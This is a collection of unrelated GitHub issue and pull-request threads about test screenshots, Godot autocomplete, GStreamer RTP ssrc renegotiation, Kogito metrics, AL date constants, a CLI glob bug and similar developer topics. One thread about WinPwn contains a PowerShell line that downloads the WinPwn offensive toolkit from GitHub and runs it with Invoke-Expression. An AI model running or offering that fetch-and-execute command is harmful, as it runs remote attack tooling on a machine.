monitored.

@NivedhaSenthil Can you please let me know what all details you are looking for?

Details regarding the os in which the tests are being run.
Seems like an older version of gauge is used, do try updated to latest and also consider using custom screenshots writer to take appropriate screenshots

@manavghaigithub - did implementing a custom screenshot writer help? You will most likely need it, because there isn't anything useful that the default screenshotwriter can capture in a CI environment, especially if you are running tests headless.
Closing this, feel free to comment if there's anything that can be done at Gauge side.

@sriv Do you have any example of customer screenshot ? So far all the projects have been using Gauge's capture method to take screenshot so it will be little bit painful to change at all the places to run it through. Yeah i can give it a shot if you have any sample code to capture screenshot. Thanks !!!

You don't have change the calls to gauge.screenshot. You just need to implement a custom screeenshot behavior, this is more like a configuration on how gauge should take screenshot.
Like mentioned in the comments earlier here is a link to the documentation which has code examples.
https://docs.gauge.org/writing-specifications.html?os=macos&language=javascript&ide=vscode#taking-custom-screenshots
The example lists code for Javascript but you can change the language filter in the documentation for code in other languages.


sun-java6 vs. openjdk-6

Hi,
Would it be possible to change the debian control file dependency "sun-java6-jdk" to in allow for use of openjdk-6-jdk?
Thanks!

I have submitted a patch for this: https://github.com/ether/pad/pull/308


Fix infinite recursion when guessing type of variable which is being assigned to in multiline statement

Fixes #62604
It was crashing because it wasn't foreseen that last_assign_line (4) could be greater than current_line (3).
func _ready():
	var x = Vector2()
	x = x.modify_me_in_editor \
	* 2

This does fix the issue, but I'm not happy about something: Why do we consider the current line in the first place? It only leads to failure to guess the type because the check fails.
func _ready():
	var x = Vector2(1, 2)
	# ...
	x = x.autocomplete_not_working_here() * 5 # e.g. normalized()

What if we instead only recorded earlier assignments in last_assign_line? Then we wouldn't need to check whether it's before current_line or not, and the autocomplete would work. I just tried and it seems to work.

Thanks!


Caps renegotiations in the send elements will sometimes cause the ssrc to change

see #333

Are you recreating the payloader, or changing it back to READY state? That's when it will decide to use a new ssrc.

There are no state changes happening at all, assuming GST_STATE:5 would show them.
I can't find any difference in the logs between the working and not working scenarios when looking through gstbasepayload, it seems to be happening inside RtpBin.

Is there something about ssrc collisions in the logs? rtpsession has some code to change ssrcs

The first time the incorrect ssrc is mentioned in the logs with rtp:9 is in 0:00:12.817566000 60963 0x7fe51c07e8f0 DEBUG             rtprtxsend gstrtprtxsend.c:395:gst_rtp_rtx_buffer_new:<rtprtxsend0> retransmit seqnum: 7370, ssrc:<PHONE_NUMBER>

Nope, nothing about ssrc collisions

I'm seeing this though... gstrtprtxreceive.c:543:gst_rtp_rtx_receive_chain:<rtprtxreceive0> associate retransmisted stream<PHONE_NUMBER> to master stream<PHONE_NUMBER> thanks to packet 15001
So that seems fine, still ends up in a new pad though.
I'm trying to upload a log btw, but it was a bit too large to put in a gist :p

There we go: https://gist.github.com/Rugvip/3e65bb3931cef90c121b I cut out some boring parts, it's video only btw, *pay*:9,GST_STATES:5,*rtp*:9
The bonus ssrc is<PHONE_NUMBER> / f6124bfd

Right, so in rtp_session_send_rtp obtain_internal_source is called, and if that doesn't find a source it creates a new internal source, which then sets sess->suggested_ssrc inside add_source. rtp_session_suggest_ssrc is used inside gst_rtp_session_getcaps_send_rtp which replies to the caps query on the rtp send pad, which then causes the caps to change.
So what's the solution? :grinning:

Why doesn't it find a source already and creates a new one instead?

Ok, so the ssrc/pt/stuff negotiation in rtpbasepayload is a bit suboptimal.
It should
a) prefer values set on the properties over downstream values if downstream also supports the property values
b) prefer currently set values (element is already running) over anything that downstream wants as long as downstream still supports the currently set values
while at the same time considering SSRC collision to switch to a different SSRC if needed.
b) is your case btw, but it's all closely related in the rtpbasepayload code so I'm just going to fix it together.

This should be fixed by http://cgit.freedesktop.org/gstreamer/gst-plugins-base/commit/?id=faafaaec56de31ebecf02b87e1fc0e4c07ed9ecc

Pushed updates to our cerbero fork. Will test.

Supposed to be fixed now


chore(release): Autobump agent service version (1.0.55)

Automated PR

this was added in https://github.com/armory/docs/pull/1962


Adding more counters to monitoring addons

Currently monitoring addons tracks the total number of completed instances (counter named kogito_process_instance_completed_total) and the total number of running instances (counter named kogito_process_instance_running_total). Although they are pretty useful to see how many processes are completed and how many processes are still running, it does not allow, from the total number  of completed, to distinguish how many finished successfully and how many were aborted. The same is true for the ones running, it does not allow to distinguish how many are just executing and how many has suffered an error.
To resolve this, it would be nice to add, on top on the two mentioned counters, a counter for each relevant process status in the process engine:

kogito_process_instance_sucessfully_completed: Numbers of process which status is completed. This counts the process that has completed its operation normally.
kogito_process_instance_aborted: Numbers of process which status is aborted. They have been cancelled before finishing.
kogito_process_instance_error: Numbers of process which status is error (waiting for user input, either to resolve the error or abort the process)
kogito_process_instance_active: Numbers of process which status is active (either executing a service call or waiting for an event).

Note that the value of kogito_process_instance_completed_total is equal to the sum of kogito_process_instance_sucessfully_completed and kogito_process_instance_aborted and the value  of kogito_process_instance_running_total is the sum of kogito_process_instance_error and kogito_process_instance_active

After a closer look to the micrometer implementation, there are some issues with the currrent proposal.  Basically, the issue is that kogito_process_instance_running_total is a gauge and we will be difficult to keep the error count updated.
Therefore, an alternative proposal will be:

Keep current kogito_process_instance_running_total gauge as it is.
Add status tag (actually it already exist but with a wrong name)  to kogito_process_instance_completed_total counter, so user can query for "completed" and "aborted" status.
Add a new kogito_process_instance_error counter which tracks the total number of errors that has occurred and do not decrease over time.


refactor: replace lizod to valibot

valibot provides usefull validate error.

$opt bihave equaly with nullish. not optional.


Constant Value xx is outside the range for a Date

Hey,
was trying to set a date constant. it doesn't matter which constant value i use (expect 0D)
'Constant value '112710D' is outside the range for a Date' at: '7,18' source: 'AL' code: 'AL0191'
example from https://docs.microsoft.com/en-us/dynamics-nav/date-data-type
codeunit 50010 test
{
procedure test();
var
Date1: Date;
begin
Date1 := 112710D;
MESSAGE(FORMAT(Date1));
Date1 := 11271810D;
MESSAGE(FORMAT(Date1));
end;
}
Version W1CU02 ; AL 0.12.16641
Did I miss something?

Jip: Date is locale independent in vscode and supports only: yyyy-mm-ddD.
https://docs.microsoft.com/en-gb/dynamics-nav/developer/devenv-differences


Be grateful

It is expected to be collaborative project, so adding an all-contributors specification and being grateful is a requirement.
This issue will be used to credit anyone involved in this project, in any of these forms.
If you believe you must be credited, you can add a request here, too (see how)

@all-contributors please add @jamestripp for code and ideas

@jamestripp and @ccamara will be giving the talk on Wed the 7th. Let's add @jamestripp and @ccamara for their contributions cc @all-contributors

James will be giving the talk on Wed the 7th. Let's add @jamestripp for their contributions cc https://github.com/all-contributors

James will be giving the talk on Wed the 7th. Let's add @jamestripp for their contributions cc @all-contributors

@all-contributors please add @jamestripp for talk

@all-contributors please add @brian-maher for mentoring

@all-contributors add @ccamara for research

@all-contributors please add @ccamara for documentation

@all-contributors please add @eirini-zormpa @hturner @jack89roberts @mredenti @craig-warren @alessandrofelder @garciaay @spco @giordano @HChughtai @paddyroddy @tkoskela  @callummole @jmtd @craddm @ptheywood  @rchan26 @mmcleod89 @bielsnohr @kasra-hosseini @TomHodson @wood-chris @ThomasA @nbarlowATI @jemrobinson  for code

@all-contributors please add @hturner for code

@all-contributors please add @alessandrofelder for code

@all-contributors please add @CamillaBressan  for code

@all-contributors please add @ThomasA for code

@all-contributors please add @paddyroddy for code

@all-contributors please add @ItIsJordan for code

@all-contributors please add @iaanimashaun for code


PageLoader in ErrorController

1. Why is this change necessary?
In the ErrorController, the GenericPageLoadedEvent is not dispatched when a 404 page is rendered and no CMS Layout is configured as error page.
2. What does this change do, exactly?
Always use the ErrorPageLoader, also when no CmsLayout is configured.
3. Describe each step to reproduce the issue or behaviour.

Do not configure a 404 error page.
Go to a non-existent page
The ErrorLoader will not be used, causing no PageLoaded events to be dispatched (Which can cause broken headers & footers in projects if custom code relies on these events)

4. Please link to the relevant issues (if any).
https://github.com/shopware/platform/issues/1762
5. Checklist

[ ] I have written tests and verified that they fail without my change
[x] I have squashed any insignificant commits
[x] I have created a changelog file with all necessary information about my changes
[x] I have written or adjusted the documentation according to my changes
[x] This change has comments for package types, values, functions, and non-obvious lines of code
[x] I have read the contribution requirements and fulfil them.

This PR was closed due to inactivity. If this change is still important to you, feel free to create a new pull request.
For more information about our contribution guidelines, see https://docs.shopware.com/en/shopware-platform-dev-en/contribution/contribution-guideline


Only pull test runs from periodics

TRT-1060
An origin PR dumped a few thousand new tests into ci-test-mapping DB because of an error (node names in the test name). It looks like the junit table is pulling /payload jobs too. This makes sure ci-test-mapping and component readiness API are only looking at periodics (no presubmits, no "/payload" jobs)

/lgtm


building unicode string from pdf string and determining proper character width

Seems CGPDFStringCopyTextString and CGPDFStringGetBytePtr are not working properly with ligatures. E.g. the word "conflict" would result in "con/x1Fict" just because the ligature "(code /x1F) is mapped to the "fl" name. The mapping can be found in the toUnicode CMAP character section. In this particular case it would map /x1F to two characters: 'f' and 'l'. Therefore i used an array as a value.
Also to be able to determine properly the character width i needed backward conversion from unicode to cid.
Hope it all makes sense. At least now it is working great with my sample pdf.

Here is the test PDF document http://dl.dropbox.com/u/6137862/Xx.pdf
stringWithPDFString method in CIDType2Font is returning ""(Empty String) against this document, can you give me a hint?


Bugfix/platfowner/bugfix

Summary:

Upgrade nodejs version to v12 from v10 to use --async-stack-traces option
Allow chain segment merging while in SERVING (returning to the original logic)
Add enableVersionRenaming feature flag (for further debugging)
Log stderr logs to error_logs.txt
Tweak logging messages

Background:

To inspect #171 , tried the followings:

Revert effective logical changes since release/R27
Improve logging including nodejs version upgrade to use --async-stack-traces option (see https://stackoverflow.com/questions/55162619/why-do-i-lose-stack-trace-when-using-async-await-in-node-js)

As a result, 1) made no changes but it seems that the issue is gone by 2) (not sure, let take a longer look)

Related memo: https://www.notion.so/comcom/Stability-debugging-38a0c95751a340038dbb5efb013dd867
#171

Thanks for the fast review. Now merging..


Do not warn when TaskContext cancels unfinished tasks

See https://github.com/modal-labs/modal-client/pull/1522#issuecomment-1999782348
The history of this is that @irfansharif silenced the warning for Python versions up to 3.10 and below, two months ago. But it's still been happening for version 3.11, and it's a bit of an unhelpful warning in our case.
Note: asyncio.TaskGroup from the Python standard library waits for all tasks to finish when it exits normally. It only cancels tasks when it sees that one of its subtasks throws an exception other than CancelledError. However, our async_utils.TaskContext object is quite different in behavior, since it actually cancels all tasks when it exits after a short grace period.
Code that is written for TaskContext will not work with asyncio.TaskGroup, and vice versa.

Definitely makes sense from an end user perspective. It might make it a bit harder for us to spot unintentional cancellations internally though, so there's something to be mindful of.

Could be useful to have a way to track client behaviors that are relevant to us but not to users that don't show up in visible logs / output.

Oof this is old


Look at adding a few more ESLint plugins

https://github.com/sindresorhus/eslint-plugin-unicorn
https://github.com/apollostack/eslint-plugin-graphql
https://github.com/jhusain/eslint-plugin-immutable
https://www.npmjs.com/package/eslint-plugin-no-loops

Reraised here: https://github.com/Shopify/eslint-plugin-shopify/issues/9


Support multiple files from the CLI (support dir globs)

Problem
To run this against multiple files developers want to run:
$ dead_end **/*.rb

This doesn't work today due to terminal globbing, which we don't yet support. What's happening when that command is run is that info isn't coming to dead_end. Your shell is expanding the input to be all files:
$ echo **/*.rb
lib/dead_end.rb lib/dead_end/around_block_scan.rb lib/dead_end/auto.rb lib/dead_end/block_expand.rb lib/dead_end/capture_code_context.rb lib/dead_end/clean_document.rb lib/dead_end/cli.rb lib/dead_end/code_block.rb lib/dead_end/code_frontier.rb lib/dead_end/code_line.rb lib/dead_end/code_search.rb lib/dead_end/display_code_with_line_numbers.rb lib/dead_end/display_invalid_blocks.rb lib/dead_end/explain_syntax.rb lib/dead_end/insertion_sort.rb lib/dead_end/left_right_lex_count.rb lib/dead_end/lex_all.rb lib/dead_end/lex_value.rb lib/dead_end/parse_blocks_from_indent_line.rb lib/dead_end/ripper_errors.rb lib/dead_end/version.rb spec/integration/dead_end_spec.rb spec/integration/exe_cli_spec.rb spec/integration/ruby_command_line_spec.rb spec/spec_helper.rb spec/unit/around_block_scan_spec.rb spec/unit/block_expand_spec.rb spec/unit/capture_code_context_spec.rb spec/unit/clean_document_spec.rb spec/unit/cli_spec.rb spec/unit/code_block_spec.rb spec/unit/code_frontier_spec.rb spec/unit/code_line_spec.rb spec/unit/code_search_spec.rb spec/unit/display_invalid_blocks_spec.rb spec/unit/explain_syntax_spec.rb spec/unit/insertion_sort_spec.rb spec/unit/lex_all_spec.rb

So what's really happening when you run that dead_end **/*.rb command (I think) is that we're only looking at the first file in the list. i.e. calling this:
$ dead_end **/*.rb

Is functionally the same as calling:
$ dead_end lib/dead_end.rb # based on the file output from above

That's the problem.
Solution
The fix would be pretty easy, which would be to look at all inputs rather than just the first one. Essentially change this in the CLI to loop over all args, https://github.com/zombocom/dead_end/blob/e8eb54c651bfa196fc933f76def5d811bb5d57dc/lib/dead_end/cli.rb#L43-L55

In case it helps, you have to be careful with quotes too. Here's an example:

So avoid the quotes. I stumbled upon this when


Cannabis Local Ordinances: Calaveras County, Mammoth Lakes, Madera, Rio Dell, Merced, Redding

We received an update request from DCC, by way of counties requesting to update their data.

We received updates from six additional jurisdictions that we need to change on our website:

Calaveras County - allows testing (currently listed as prohibited)
Mammoth Lakes - allows retail non-storefront (currently listed as prohibited), manufacturing should be listed as “limited” instead of “allowed”
Madera - allows everything (currently listed a prohibiting everything)
Rio Dell - allows retail non-storefront (currently listed as prohibited)
Merced - retail storefront should be listed as “limited” instead of “allowed”
Redding - retail storefront and retail non-storefront should be listed as “limited” instead of “allowed”
I attached the latest version of our tracker for reference.

Our new summary stats (three boxes on top) are as follows:

44%
of cities and counties allow at least one type of cannabis business
(235 out of 539)
56%
of cities and counties do not allow any type of cannabis business
(304 out of 539)
62%
of cities and counties do not allow any retail cannabis business
(334 out of 539)

In addition, the ratio of retail licenses per 100k people in California has increased.
Due to these limits, there are less than ~4.3~ 4.5 retail licenses per 100K people in California (as of May July 2022).

https://api.cannabis.ca.gov/cannabis-laws/where-cannabis-businesses-are-allowed/

Done


CAN'T INVOKE EXPRESSION IN FUNCTION WINPWN.

to run and download correctly all the script please type:
iex (new-object net.webclient).downloadstring("https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1");
(Invoke-WebRequest -Uri "https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1" -UseBasicParsing | select content) |
ForEach-Object{
if ((Get-ExecutionPolicy) -eq 'RemoteSigned') {
$_.content | Out-File "$env:TMP/WinPwn.ps1";
cd $env:TMP;
Invoke-Expression "$env:TMP/WinPwn.ps1";
WinPwn
}
}

I don't see any question, error message or screenshots. Maybe it's AMSI, maybe something else. :mag: Some more information please :+1:

Seams like a low priority problem.


Improve type inference for Option and Either assertion

This PR aim to fix wrong type inference for Option and Either assertion methods.
Example of correct inference:
/**
 * @return Option<int>
 */
function getOption(): Option
{
    return Option::none();
}

/** @psalm-param (Some<int>) $_some */
function assertIsSome($_some): void {}

/** @psalm-param (None) $_none */
function assertIsNone($_none): void {}

function test(): void
{
    $opt = getOption();

    if ($opt->isSome()) {
        assertIsSome($opt); // $opt is Some<int> at this point
    } else {
        assertIsNone($opt); // $opt is None, before it was Option<int>
    }
}

Looks wonderful, but could you also add static analyse tests, please

Looks wonderful, but could you also add static analyse tests, please

it would be great if you could tell me how to do it

Now it's possible to assert multiple block types.
$phpBlock = /** @lang InjectablePHP */ '
    use Fp\Functional\Option\Option;

    class FooBar
    {
        public static function foo() {
            foreach (range(1, 10) as $i) {
                /** @var Option<int> $opt */

                if ($opt->isSome()) {
                    /** @psalm-trace $s */
                    $s = $opt;
                } else {
                    /** @psalm-trace $n */
                    $n = $opt;
                }
            }
        }
    }
';

$this->assertBlockTypes($phpBlock, Some::class . '<int>', None::class);

Now it's possible to assert multiple block types.

Done


[cloud sync] Save skills map progress in the cloud

Synchronize skills map progress in the cloud and across machines. (Tutorials completed, current step, etc.)
Implementation notes:

The skills map stores project in a separate index db table than all the normal make code projects
The skills map offers a "SAVE TO MY PROJECTS" button when you finish a project which exports the project from the skills map and imports it to the normal web app workspace storage area
The normal "editor" is run in an iframe for skills map projects
There is not "login" or "profile" state inside the gear while in the skills map -- the gear wheel is a totally separate implementation
I don't know what happens if the iframe web app thinks it's logged in and thus tries to cloud-save projects in the skills map, and then the same project is imported to the main editor (via SAVE TO MY PROJECTS) and is then cloud synced.

Here's our current thinking:
First, try a timeboxed extraction of auth.ts into pxtlib or another non-webapp package. The advantage of this is that it allows non-webapp code to make authenticated calls which seems good for now and the future (e.g. if we build community or multiplayer or any other UX that doesn't need to depend on the old webapp.) If this works, then skillsmap can just use the auth.ts calls to update user state no problems.
If extracting auth.ts is too much, then at least move the types defining user state out and add skillsmap state to that. Then skillsmap could get read-only access to this while waiting for the webapp to load in the iframe. This would give skillmap the same zippy loading time, and allow the webapp to manage all cloud state saving/loading.

This is implemented.


Reduce storyboard number of changes

The storyboard's XML is read, modified and then rewritten. The order of the tag's properties will probably change every time (AEXML won't keep the original order). This is bad considering that a  diff will accuse a whole file difference on all storyboards, making a Code Review harder.
Need to check if it's possible to rewrite the storyboard with the minimum of changes (with the diff only accusing the real changes made)

Moving issue to the SwiftColorGenLibrary repo